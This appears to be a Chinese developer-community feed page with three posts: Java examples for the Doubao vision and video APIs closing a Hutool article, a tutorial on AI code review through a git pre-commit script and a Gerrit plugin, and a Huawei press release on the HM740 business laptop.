String chatVision = doubaoService.chatVision("图片上有些什么?", Arrays.asList(base64));
//也可以使用网络图片
DoubaoService doubaoService = AIServiceFactory.getAIService(new AIConfigBuilder(ModelName.DOUBAO.getValue()).setApiKey(key).setModel(Models.Doubao.DOUBAO_1_5_VISION_PRO_32K.getModel()).build(), DoubaoService.class);
String chatVision = doubaoService.chatVision("图片上有些什么?", Arrays.asList("https://img2.baidu.com/it/u=862000265,4064861820&fm=253&fmt=auto&app=138&f=JPEG?w=800&h=1544"),DoubaoCommon.DoubaoVision.HIGH.getDetail());
生成视频:
//创建视频任务
DoubaoService doubaoService = AIServiceFactory.getAIService(new AIConfigBuilder(ModelName.DOUBAO.getValue()).setApiKey(key).setModel("your Endpoint ID").build(), DoubaoService.class);
String videoTasks = doubaoService.videoTasks("生成一段动画视频,主角是大耳朵图图,一个活泼可爱的小男孩。视频中图图在公园里玩耍," +
"画面采用明亮温暖的卡通风格,色彩鲜艳,动作流畅。背景音乐轻快活泼,带有冒险感,音效包括鸟叫声、欢笑声和山洞回声。", "https://img2.baidu.com/it/u=862000265,4064861820&fm=253&fmt=auto&app=138&f=JPEG?w=800&h=1544");
//查询视频生成任务信息
String videoTasksInfo = doubaoService.getVideoTasksInfo("任务id");
未来发展
- Hutool5:目前 Hutool 5.x 版本主要是基于 JDK 8 实现的,后面更新主要以 BUG 修复为准。
- Hutool6:主要以功能尝鲜为主。
- Hutool7:升级为 JDK 17,添加一些新功能,删除一些不用的类。
目前只发布了 Hutool 5.x,按照目前的更新进度来看,不知何时才能盼来 Hutool7 的发布。
同类替代框架
如果担心 Hutool 有安全性问题,或更新不及时的问题可以尝试使用同类开源工具类:
- Apache Commons:commons.apache.org/
- Google Guava:github.com/google/guav…
视频解析
http://www.bilibili.com/video/BV1QR…
小结
虽然我们不知道 Hutool 被收购意味着什么?是会变的越来越好?还是会就此陨落?我们都不知道答案,所以只能把这个问题交给时间。但从个人情感的角度出发,我希望国产开源框架越做越好。好了,我是磊哥,咱们下期见。
本文已收录到我的面试小站 http://www.javacn.site,其中包含的内容有:场景题、SpringAI、SpringAIAlibaba、并发编程、MySQL、Redis、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、JVM、设计模式、消息队列、Dify、Coze、AI常见面试题等。
来源:juejin.cn/post/7547624644507156520
AI 代码审核
ai-code-review
在日常开发中,我们经常会遇到一些问题,比如代码质量问题、安全问题等。如果我们每次都手动去检查,不仅效率低下,而且容易出错。
所以我们可以利用 AI 来帮助我们检查代码,这样可以提高我们的效率
那么,如何利用 AI 来检查代码呢?
1. 使用 JS 脚本
这种方法其实就是写一个简单的脚本,通过调用 OpenAI 的 API,将代码提交给 AI 进行评审。
这里我们需要使用 Node.js 来实现这个功能。利用 git 的 pre-commit hooks,在 git 提交前执行这个脚本。整体流程如下:

接下来我们来具体实现下代码。在项目根目录下新建一个pre-commit.js文件,这个文件就是我们的脚本。
1.1 校验暂存区代码
通过 git diff --cached 验证是否存在待提交内容,如果没有改动则直接退出提交。
const { execSync } = require('child_process');
const checkStaged = () => {
try {
const changes = execSync("git diff --cached --name-only").toString().trim();
if (!changes) {
console.log("No staged changes found.");
process.exit(0);
}
} catch (error) {
console.error("Error getting staged changes:", error.message);
process.exit(1);
}
}
1.2 获取差异内容
const getDiff = () => {
try {
const diff = execSync("git diff --cached").toString();
if (!diff) {
console.log("No diff content found.");
process.exit(0);
}
return diff;
} catch (error) {
console.error("Error getting diff content:", error.message);
process.exit(1);
}
}
1.3 准备prompt
这里我们需要准备一个 prompt,这个 prompt 就是用来告诉 AI 我们要检查什么内容。
const getPrompt = (diff) => {
return `
你是一名代码审核员,专门负责识别git差异中代码的安全问题和质量问题。您的任务是分析git 差异,并就代码更改引入的任何潜在安全问题或其他重大问题提供详细报告。
这里是代码差异内容:
${diff}
请根据以下步骤完成分析:
1.安全分析:
- 查找由新代码引发的一些潜在的安全漏洞,比如:
a)注入缺陷(SQL注入、命令注入等)
b)认证和授权问题
...
2. 代码逻辑和语法分析:
-识别任何可能导致运行时错误的逻辑错误或语法问题,比如:
a)不正确的控制流程或条件语句
b)循环使用不当,可能导致无限循环
...
3. 报告格式:
对于每个发现的问题,需要按照严重等级分为高/中/低。
每个问题返回格式如下:
-[严重等级](高中低)- [问题类型](安全问题/代码质量) - 问题所在文件名称以及所在行数
- 问题原因 + 解决方案
4. 总结:
在列出所有单独的问题之后,简要总结一下这些变化的总体影响,包括:
-发现的安全问题数量(按严重程度分类)
-发现的代码质量问题的数量(按严重性分类)
请现在开始你的分析,并使用指定的格式陈述你的发现。如果没有发现问题,请在报告中明确说明。
输出应该是一个简单的结论,无论是否提交这些更改,都不应该输出完整的报告。但是要包括文件名。并将每行标识的问题分别列出。
如果存在高等级的错误,就需要拒绝提交
回答里的结尾需要单独一行文字 "COMMIT: NO" 或者 "COMMIT: YES" 。这将用来判断是否允许提交
`
}
1.4 定义一个 AI 执行器
这里我用 chatgpt 实现的,具体代码如下:
const execCodeReviewer = (text) => {
const apiKey = ''
const apiBaseUrl = ''
const translateUrl = `${apiBaseUrl}/v1/chat/completions`
return new Promise((resolve, reject) => {
fetch(translateUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${apiKey}`,
},
body: JSON.stringify({
stream: false,
messages: [
{
role: 'user',
content: text,
},
],
}),
})
.then(res => res.json().then(data => resolve(data.choices[0].message.content)))
.catch(err => {
console.error(err)
})
})
}
1.5 结果处理
这里我们需要解析一下结果,提取结果中是否包含 "COMMIT: YES"关键字,有则允许提交,否则不允许提交并打印结果
const handleReviewResult = (result) => {
const decision = result.includes("COMMIT: YES") ? "YES" : "NO";
if (decision === 'NO') {
console.log("\nCritical issues found. Please address them before committing.");
console.log(details);
process.exit(1);
}
console.log("\nCommit approved.");
}
1.6 主函数执行整个流程
const main = async () => {
try {
checkStaged();
const diffContent = getDiff();
console.log("Running code review...");
const prompt = getPrompt(diffContent);
const reseponse = await execCodeReviewer(prompt);
handleReviewResult(reseponse)
process.exit(0);
} catch (error) {
console.error("Error:", error.message);
process.exit(1);
}
}
1.7 git hooks里添加执行该脚本逻辑
进入项目根目录,在这里运行 git bash。打开pre-commit钩子文件
vim .git/hooks/pre-commit
然后添加以下内容
#!/bin/sh
GIT_ROOT=$(git rev-parse --show-toplevel)
node "$GIT_ROOT/pre-commit.js"
exit $?
保存退出后,我们就可以使用 git 做下测试。
1.8 测试
我新建了一个 test.js 文件,然后添加如下代码:
const fn = () => {
let num = 0
for(let i = 0; true; i++) {
num += i
}
}
然后执行 git add . 然后 git commit -m "test"。效果如下:

看来还是不错的,有效识别代码中的逻辑缺陷与语法隐患(如无限循环、变量误用等),同时当不满足提交条件后,也是直接终止了 commit。这里面其实比较关键的是 prompt 的内容,ai 评审的效果主要就是取决于它。
2. ai-pre-commit-reviewer 插件
上面我们是通过 js 脚本来实现的,其实也可以通过现成插件来实现。原理和第一个方法是一样的,只不过是插件帮我们封装好了,我们只需要配置下即可。并且该插件支持多种 AI 供应商,比如 openAI,deepseek,本地的Ollama和LM Studio。插件地址,欢迎大家star。
2.1 安装插件
npm install ai-pre-commit-reviewer --save-dev
#安装完成后执行
npx add-ai-review #添加执行逻辑到git pre-commit钩子中
2.2 配置文件
插件安装完成后,新建一个.env 文件
baseURL= *** #模型服务地址
apiKey=*** #模型服务密钥
language=chinese #语言
2.3 效果预览

也可以配合husky使用,进行语法检查后执行code review。

我这里也是更推荐大家使用这个,简单易上手。
3. gerrit + ai-code-review
Gerrit 是由 Google 开发的代码审查管理系统,基于 Git 版本控制系统构建,主要特性包括:
- 强制代码审查机制:所有代码必须通过人工/自动化审查才能合并
- 细粒度权限控制:支持基于项目/分支的访问权限管理
- 在线代码对比:提供可视化差异查看界面(Side-by-Side Diff)
- 插件扩展体系:可通过插件集成 CI/CD、静态分析等工具
其核心功能主要是通过 refs/for/ 推送机制,确保所有代码变更必须通过审核。因此我们可以利用 ai 代替人工去执行代码 review,这样效率也会更高效。
2.1 gerrit 安装与配置
# 执行以下命令
docker pull gerritcodereview/gerrit:latest
安装完后可以看下容器列表

没问题后启动服务,然后在浏览器中访问 http://localhost:8080/ 就可以看到gerrit首页
2.1.1 配置 ssh 密钥
ssh-keygen -t ed25519 -C "your_email@example.com"
# 直接按3次回车(不要设置密码)
cat ~/.ssh/id_ed25519.pub # 复制输出的内容
然后在 "settings" 页面中选择左侧的"SSH Keys",将复制的公钥内容粘贴进去。添加完成后测试下连接情况。
ssh -p 29418 admin@localhost # 输入yes接受指纹
看到 Welcome to Gerrit Code Review 表示成功
2.1.2 拉取项目测试
可以在 BROWSE > Repositories 里查看当前项目列表,我这里用 All-Projects 做下测试,理论上是要新建项目的。
git clone "ssh://admin@localhost:29418/All-Projects"
安装 Gerrit 提交钩子 commit-msg(必须!)。Gerrit 依赖 commit-msg 钩子实现以下功能:
- 生成 Change-Id:每个提交头部自动添加唯一标识符,格式示例
Change-Id: I7e5e94b9e6a4d8b8c4f3270a8c6e9d3b1a2f5e7d - 校验提交规范: 确保提交信息符合团队约定格式(如包含任务编号)
- 防止直接推送: 强制推送到 refs/for/ 路径而非主分支
cd All-Projects
curl -Lo .git/hooks/commit-msg http://localhost:8080/tools/hooks/commit-msg
chmod +x .git/hooks/commit-msg
然后新建个js文件,写点代码并提交。
git push origin HEAD:refs/for/refs/meta/config # 提交到 refs/meta/config 分支
然后在gerrit首页可以看到刚刚提交的代码,点击查看详情,可以看到代码审核的流程。

2.2 插件安装和配置
将 ai-code-review 插件克隆到本地。插件详情可参考官方文档。此插件可以使用不同的 AI Chat 服务(例如 ChatGPT 或 OLLAMA)
git clone https://gerrit.googlesource.com/plugins/ai-code-review
安装 Java 和构建工具
sudo apt update
sudo apt install -y openjdk-21-jdk maven # 官方文档说 11 就行,但是我实际上跑了后发现需要 JDK 21+
进去项目目录构建 JAR 包
cd ai-code-review
mvn clean package
当输出BUILD BUILD SUCCESS时,表示构建成功。进入目录看下生成的包名。

然后将生成的jar包复制到 gerrit 的 plugins 目录下
# 我这里容器名为 gerrit,JAR 文件在 target/ 目录
docker cp target/ai-code-review-3.11.0.jar gerrit:/var/gerrit/plugins/
然后进入容器内看下插件列表,确认插件已经安装成功

也可以在 gerrit 网页端查看插件启动情况

接着修改配置文件,在 gerrit 的 etc 目录下找到 gerrit.config 文件。但在这之前需要在 Gerrit 中创建一个 AI Code Review 用户,这个席位用于 AI 来使用进行代码评审。
vi var/gerrit/etc/gerrit.config
在文件里添加以下内容。
[plugin "ai-code-review"]
model = deepseek-v3
aiToken = ***
aiDomain = ***
gerritUserName = AIReviewer
aiType = ChatGPT
globalEnable = true 。
- model(非必填): 使用的模型
- aiToken(必填): AI模型的密钥
- aiDomain(非必填): 请求地址,默认是 api.openai.com
- gerritUserName(必填): AI Code Review 用户的 Gerrit 用户名。我这里创建的用户名为 AIReviewer
- aiType(非必填): AI类型,默认是 ChatGPT
- globalEnable(非必填): 是否全局启用,默认是 false, 表示插件将仅审核指定的仓库。如果不设置为true的话。需要添加enabledProjects参数,指定要运行的存储库,例如:“project1,project2,project3”。
更多字段配置参考官方文档
这些都完成后,重启 gerrit 服务。然后修改下代码,写段明显有问题的代码,重新 commit 并 push 代码,看下 AI 代码评审的效果怎么样。

可以看到 ai 审查代码的效果还是不错的。当然我这里是修改了插件的prompt,让它用中文生成评论,它默认是用英文回答的。
总结
现在AI功能越来越强大,可以帮我们处理越来越多的事情。同时我也开发了一个工具AI-vue-i18n,能够智能提取代码中的中文内容,并利用AI完成翻译后生成多语言配置文件。告别手动配置的场景。
文章地址
github地址
来源:juejin.cn/post/7504567245265846272
更智慧更安全,华为擎云 HM740带来企业办公创新体验
12月11日,华为正式公布两项鸿蒙电脑新进展——华为擎云 HM740以及鸿蒙电脑专业版操作系统发布。华为擎云 HM740定位政企办公场景,面向高安全、高稳定、高效率的生产力需求;鸿蒙电脑专业版操作系统则将与即将开启Beta的企业版共同构成华为擎云面向政企市场的核心操作系统底座。随着鸿蒙电脑在政企领域加速落地,华为正尝试以“互联与协同”为核心,重塑企业级生产力的基础形态。

华为擎云 HM740在仅1.32kg的轻薄机身下植入了70Wh大电池,将企业级设备的续航基准提升至21小时,配合2.8K OLED护眼屏与HUAWEI M-Pen3多功能笔,旨在成为移动办公场景下的办公利器。系统层面,华为擎云 HM740搭载了鸿蒙电脑专业版,该版本以HarmonyOS 6为底座,面向企业办公管理需求开放了AI、设备管理与底层安全等接口,为企业提供企业IT管理、企业安全、组织生产力提升的全方位办公解决方案能力,助力企业办公更智慧、更安全、更高效。
鸿蒙电脑企业级操作系统,打造更安全更高效的专属服务
随着数字化办公逐渐成为企业标配,为了满足不同行业的定制化需求,华为擎云从用户需求和使用体验出发,为企业带来更高效更安全的鸿蒙电脑专业版。同时为了满足更高级的企业管理与安全需求,华为还推出了鸿蒙电脑企业版并开启Beta尝鲜。

鸿蒙电脑专业版,通过企业零感部署能力,打破传统IT部门的“隐性重负”,通过华为HEM云端部署平台,同样是500台电脑,传统方式中企业1位IT人员至少需要10天完成全部配置,而使用企业零感部署,同样1位IT人员1天就能完成500台电脑的差异化部署,员工开箱即用,大幅度提升交付体验,优化传统企业IT运营模式。

同时为了帮助企业更好地实现更复杂的数字资管理需求,鸿蒙电脑企业版不但包含鸿蒙电脑专业版的全部能力,还带来“企业数字双空间”的能力。为企业数字资产与员工个人数据提供各自的独立空间,实现企业空间与个人空间的网络隔离、数据隔离。员工可以将重要的企业数据存储在企业空间内,常用的个人数据存放在个人空间,企业空间可独立管控USB、蓝牙、打印等资源,防止跨空间数据泄露,也可以对个人空间进行重新自定义和安全管控部署,既保证了企业数字资产的边界清晰和安全,也兼顾了企业对外沟通、效率至上的需求。
AI赋能企业智慧办公,实现企业高效运转
为了实现更智能的企业服务,帮助企业高效快速部署本地需求。鸿蒙电脑专业版系统全面继承了HarmonyOS 6的全新小艺特性,并带来了AI端侧大模型能力开放,开放端侧算力给第三方模型,帮助企业完善本地AI能力。此外鸿蒙电脑专业版系统为企业用户提供AI端侧大模型能力,本地化大模型可以保证企业保密数据不上云、不出端,守护企业数据资产,智慧办公更高效更安全。

HarmonyOS 6为小艺持续赋能,带来小艺慧记、小艺深度研究、小艺知识库、深度问答、小艺文档助理等功能,搭配鸿蒙AI能力,帮助企业用户更高效、更便捷地输出会议纪要、资料整理、复杂技术文档撰写、汇报PPT制作等日常工作,超能小艺更能干。
轻薄机身长久续航,带来移动办公持久体验
在强大AI与系统级能力之外,为了满足多行业对移动办公的高需求,华为擎云 HM740通过架构创新带来仅有1.32kg的金属机身,能够轻松放进用户的日常出行包中,带来更轻松便捷的移动办公体验。

性能上,为了满足政企用户日常各种专业工作场景的使用需要,华为擎云 HM740通过主板小型化技术搭配更高散热效率的鲨鱼鳍风扇,极大地提升机身内部的散热效率,实现轻薄机身下稳定的性能释放。此外华为擎云 HM740还配备70Wh大电池,同时通过系统级功耗优化,让华为擎云 HM740成为华为迄今为止续航最长的电脑,本地视频播放长达21小时,在线视频也可以达到20小时。可进行15个小时的连续语音会议,用户畅享全天持久续航。
擎云星河计划持续招募,共建共享鸿蒙新世界
华为擎云 HM740通过强大的硬件组合为企业用户提供持久耐用的智慧办公工具,并通过HarmonyOS 6强大的底座能力、全新升级的鸿蒙AI以及丰富的软件生态,为企业带来更智慧、更高效、更安全的数字化办公体验,鸿蒙电脑企业版系统为企业构建起主动防御的安全防线与坚韧、敏捷的业务基石。

今年5月,华为已面向企业用户开启了擎云星河计划,旨在更好地赋能千行百业,目前已有12个关键行业的30多家头部企业加入了擎云星河计划。此次随着鸿蒙电脑专业版系统的发布,擎云星河计划将扩大招募范围,欢迎更多企业加入鸿蒙电脑企业版的Beta测试,共建共享鸿蒙新世界。
未来华为还将持续前行,让鸿蒙电脑企业版作为企业智能化底座,与千行百业合作伙伴共同创造一个更智能、更高效、更安全的数字未来。
收起阅读 »












